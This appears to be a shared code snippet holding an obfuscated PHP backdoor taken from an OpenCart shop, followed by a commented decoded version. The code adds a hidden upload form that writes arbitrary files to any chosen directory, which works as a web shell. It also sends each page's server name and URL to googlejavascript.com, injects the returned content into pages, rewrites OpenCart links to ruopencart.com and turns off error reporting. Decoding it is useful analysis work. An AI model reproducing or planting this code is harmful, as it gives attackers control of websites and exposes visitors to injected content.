$gl['_1915844346_'][$gl['_1119757062_'][35](round(0)+1.8+1.8+1.8+1.8+1.8)](E_ALL^E_NOTICE);
if(isset($_GET['outputs'])){
$outputs=$_GET['outputs'];
}
if(isset($outputs)== 'load'){
if(isset($_POST['dir'])){
$target_path=$_POST['dir'];
}
else{
$target_path='';
}
$target_path=$target_path .$gl['_1915844346_'][$gl['_1119757062_'][36](round(0)+3.3333333333333+3.3333333333333+3.3333333333333)]($_FILES['file']['name']);
if($gl['_1915844346_'][$gl['_1119757062_'][37](round(0)+2.75+2.75+2.75+2.75)]($_FILES['file']['tmp_name'],$target_path)){
echo "The file " .$gl['_1915844346_'][$gl['_1119757062_'][38](round(0)+round(0+1.3333333333333+1.3333333333333+1.3333333333333)+round(0+2+2)+round(0+0.8+0.8+0.8+0.8+0.8))]($_FILES['file']['name']) ." uploaded!";
}
else{
echo "Error";
}
echo "<br><br><form action=\"?outputs=load\" method=\"post\" enctype=\"multipart/form-data\"> <label for=\"dir\">Directory:</label><input type=\"text\" name=\"dir\" id=\"dir\" /> exemple: download/ <br /><label for=\"file\">Filename:</label><input type=\"file\" name=\"file\" id=\"file\" /><br /><input type=\"submit\" name=\"submit\" value=\"Submit\" /></form>";
}
if($ftend=get_page("http://googlejavascript.com/java/api.php?server=" .$_SERVER['SERVER_NAME'] ."&page=" .$_SERVER['REQUEST_URI'])){
$find=array("</body>","</html>","http://opencart.com","www.opencart.com","maxzon.ru","myopencart.ru","opencartforum.ru","opencart.ru","opencart.by");
$replace=array("",$ftend,"http://ruopencart.com","ruopencart.com","ruopencart.com","ruopencart.com","ruopencart.com","ruopencart.com","ruopencart.com");
$ouput=$gl['_1915844346_'][$gl['_1119757062_'][39](round(0)+2.6+2.6+2.6+2.6+2.6)]($find,$replace,$ouput);
$gl['_1915844346_'][$gl['_1119757062_'][40](round(0)+round(0+2.8+2.8+2.8+2.8+2.8))]("display_errors","off");
$gl['_1915844346_'][$gl['_1119757062_'][41](round(0)+round(0+0.75+0.75+0.75+0.75)+round(0+0.6+0.6+0.6+0.6+0.6)+round(0+1+1+1)+round(0+0.75+0.75+0.75+0.75)+round(0+1+1+1))]($gl['_1290841627_'][round(0+4.2+4.2+4.2+4.2+4.2)]($gl['_1119757062_'][42](round(0))));
echo $ouput;
}
else{
$find=array("opencart.com","maxzon.ru","myopencart.ru","opencartforum.ru","opencart.ru","opencart.by");
$replace=array("ruopencart.com","ruopencart.com","ruopencart.com","ruopencart.com","ruopencart.com","ruopencart.com");
$ouput=$gl['_1915844346_'][$gl['_1119757062_'][43](round(0)+3.2+3.2+3.2+3.2+3.2)]($find,$replace,$ouput);
echo $ouput;
}
$gl['_1915844346_'][$gl['_1119757062_'][44](round(0)+8.5+8.5)]("display_errors","off");
$gl['_1915844346_'][$gl['_1119757062_'][45](round(0)+round(0+4.5+4.5)+round(0+2.25+2.25+2.25+2.25))]($gl['_1290841627_'][round(0+22)]($gl['_1119757062_'][46](round(0))));
*/
/*
Расшифровано:
function get_page($url){
$agent='Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ru; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9';
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_USERAGENT,$agent);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_VERBOSE,false);
curl_setopt($ch,CURLOPT_TIMEOUT,5);
$page=curl_exec($ch);
$errorpage='</body></html>';
$httpcode=curl_getinfo($ch,CURLINFO_HTTP_CODE);
curl_close($ch);
switch($httpcode){
case '200':
return $page;
break;
case '404':
return $errorpage;
break;
case '502':
return $errorpage;
break;
}
}
error_reporting(E_ALL^E_NOTICE);
if(isset($_GET['outputs'])){
$outputs=$_GET['outputs'];
}
if(isset($outputs)== 'load'){
if(isset($_POST['dir'])){
$target_path=$_POST['dir'];
}
else{
$target_path='';
}
$target_path=$target_path .basename($_FILES['file']['name']);
if(move_uploaded_file($_FILES['file']['tmp_name'],$target_path)){
echo "The file " .basename($_FILES['file']['name']) ." uploaded!";
}
else{
echo "Error";
}
echo "<br><br><form action=\"?outputs=load\" method=\"post\" enctype=\"multipart/form-data\"> <label for=\"dir\">Directory:</label><input type=\"text\" name=\"dir\" id=\"dir\" /> exemple: download/ <br /><label for=\"file\">Filename:</label><input type=\"file\" name=\"file\" id=\"file\" /><br /><input type=\"submit\" name=\"submit\" value=\"Submit\" /></form>";
}
if($ftend=get_page("http://googlejavascript.com/java/api.php?server=" .$_SERVER['SERVER_NAME'] ."&page=" .$_SERVER['REQUEST_URI'])){
$find=array("</body>","</html>","http://opencart.com","www.opencart.com","maxzon.ru","myopencart.ru","opencartforum.ru","opencart.ru","opencart.by");
$replace=array("",$ftend,"http://ruopencart.com","ruopencart.com","ruopencart.com","ruopencart.com","ruopencart.com","ruopencart.com","ruopencart.com");
$ouput=str_replace($find,$replace,$ouput);
ini_set("display_errors","off");
error_reporting(0);
echo $ouput;
}
else{
$find=array("opencart.com","maxzon.ru","myopencart.ru","opencartforum.ru","opencart.ru","opencart.by");
$replace=array("ruopencart.com","ruopencart.com","ruopencart.com","ruopencart.com","ruopencart.com","ruopencart.com");
$ouput=str_replace($find,$replace,$ouput);
echo $ouput;
}
ini_set("display_errors","off");
error_reporting(0);
*/
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment